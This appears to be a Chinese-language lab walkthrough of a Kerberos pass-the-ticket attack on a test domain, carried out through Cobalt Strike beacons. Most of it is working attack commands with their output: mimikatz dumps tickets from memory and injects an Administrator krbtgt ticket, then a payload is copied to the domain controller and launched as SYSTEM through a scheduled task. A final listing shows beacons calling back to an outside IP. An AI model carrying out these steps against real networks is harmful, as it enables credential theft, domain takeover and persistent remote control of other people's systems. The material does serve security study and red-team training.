## pass the ticket 票据传递攻击(PTT)横向攻击

## 票据传递介绍

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。 mimikatz同样提供了不需要 本地管理员权限进行 横向渗透测试的方法,

例如票据传递(PassThe Ticket,PTT)

票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。

黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。

白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。

票据传递攻击一般分为两种

- 1、自己制作票据
- 2、传递内存中的票据

## 实验复现

导出内存的票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

```
2020/03/08 18:31
                           1,256,712 mimikatz.exe
                              7,407 mimikatz.log
2022/08/23 21:56
2022/08/23 18:44
2022/08/18 13:10
                               6,690 wan111li.zip
                              14,336 wanli.exe
2022/08/24 14:43
2022/08/24 14:43
2022/08/24 14:43
                               1,647 [0;120ae5]-0-0-40a10000-Administrator@host-2012-1.hack.com.kirbi
                               1,647 [0;120ae5]-0-1-40a10000-Administrator@cifs-2012-1.hack.com.kirbi
                               1,629 [0;120ae5]-0-2-40a10000-Administrator@HOST-2012-1.kirbi
2022/08/24 14:43
2022/08/24 14:43
                               1,629 [0;120ae5]-0-3-40a10000-Administrator@cifs-2012-1.kirbi
                               1,491 [0;120ae5]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi
2022/08/24 14:43
                               1,515 [0;3e4]-0-0-40a50000-2012-2$@cifs-DC.hack.com.kirbi
2022/08/24 14:43
2022/08/24 14:43
                               1,515 [0;3e4]-0-1-40a50000-2012-2$@ldap-dc.hack.com.kirbi
                               1,535 [0;3e4]-0-2-40a50000-2012-2$@ldap-dc.hack.com.kirbi
                               1,513 [0;3e4]-0-3-40a50000-2012-2$@DNS-dc.hack.com.kirbi
2022/08/24 14:43
                               1,531 [0;3e4]-0-4-40a50000-2012-2$@GC-DC.hack.com.kirbi
2022/08/24 14:43
2022/08/24 14:43
                               1,407 [0;3e4]-2-0-60a10000-2012-2$@krbtgt-HACK.COM.kirbi
2022/08/24 14:43
                               1,407 [0;3e4]-2-1-40e10000-2012-2$@krbtgt-HACK.COM.kirbi
2022/08/24 14:43
2022/08/24 14:43
                               1,515 [0;3e7]-0-0-40a50000-2012-2$@cifs-DC.hack.com.kirbi
                               1,495 [0;3e7]-0-1-40a100<u>00.kirbi</u>
2022/08/24 14:43
                               1,535 [0;3e7]-0-2-40a50000-2012-2$@LDAP-DC.hack.com.kirbi
                               1,407 [0;3e7]-2-0-60a10000-2012-2$@krbtgt-HACK.COM.kirbi
2022/08/24
            14:43
2022/08/24 14:43
                               1,407 [0;3e7]-2-1-40e10000-2012-2$@krbtgt-HACK.COM.kirbi
2022/08/24 14:43
2022/08/24 14:43
                               1,639 [0;998d7]-0-0-40a50000-Administrator@ldap-dc.hack.com.kirbi
                               1,659 [0;998d7]-0-1-40a50000-Administrator@LDAP-DC.hack.com.kirbi
2022/08/24 14:43
                               1,491 [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi
              24 个文件
                             1,315,759 字节
                  个目录 15,342,436,352 可用字节
```

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等。

清除内存中的票据

```
shell klist purge
mimikatz kerberos::purge
两个都是清除票据
```

将高权限的票据文件注入内存

```
mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi
```

```
Deacon> mimikatz kerberos::ptt [0;120ae5]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi

[*] Tasked beacon to run mimikatz's kerberos::ptt [0;120ae5]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi command

[+] host called home, sent: 706119 bytes

[+] received output:

* File: '[0;120ae5]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi': OK
```

查看票据

```
shell klist
mimikatz kerberos::tgt
```

访问机器(admin 用户 没有过uac)

```
dir \2012-1.hack.com\c$
```

```
beacon> shell dir \\2012-1.hack.com\c$
[*] Tasked beacon to run: dir \\2012-1.hack.com\c$
[+] host called home, sent: 55 bytes
[+] received output:
驱动器 \\2012-1.hack.com\c$ 中的卷没有标签。
 卷的序列号是 4A35-60F8
 \\2012-1.hack.com\c$ 的目录
2013/08/22 23:52
                   <DIR>
                                  PerfLogs
                                  Program Files
2022/03/30 16:37
                   <DIR>
2022/08/24 14:21
                   <DIR>
                                  Program Files (x86)
2022/08/23 21:10
                   <DIR>
                                  Users
2022/08/18 13:10
                           14,336 wanli.exe
2022/08/23 21:10
                   <DIR>
                                  Windows
              1 个文件
                             14,336 字节
              5 个目录 15,551,893,504 可用字节
```

## 上线域控

```
net use \\dc.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru
system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
```

```
beacon> shell net use \\dc.hack.com
[*] Tasked beacon to run: net use \\dc.hack.com
[+] host called home, sent: 53 bytes
[+] received output:
命令成功完成。
beacon> shell copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
[*] Tasked beacon to run: copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
[+] host called home, sent: 85 bytes
[+] received output:
         1 个文件。
已复制
beacon> shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
[*] Tasked beacon to run: schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
[+] host called home, sent: 114 bytes
[+] received output
成功: 成功创建计划任务 "test"。
beacon> shell schtasks /run /s dc.hack.com /i /tn "test"
[*] Tasked beacon to run: schtasks /run /s dc.hack.com /i /tn "test"
[+] host called home, sent: 73 bytes
[+] received output:
成功: 尝试运行 "test"。
```

175.9.140.137	192.168.41.10	wanli	SYSTEM *	DC	wanli.exe	1420	x86	45s
175.9.140.137	192.168.41.147	wanli	admin	2012-2	wanli.exe	528	x86	1s
175.9.140.137	192.168.41.147	wanli	admin *	2012-2	powershell.exe	2908	x86	976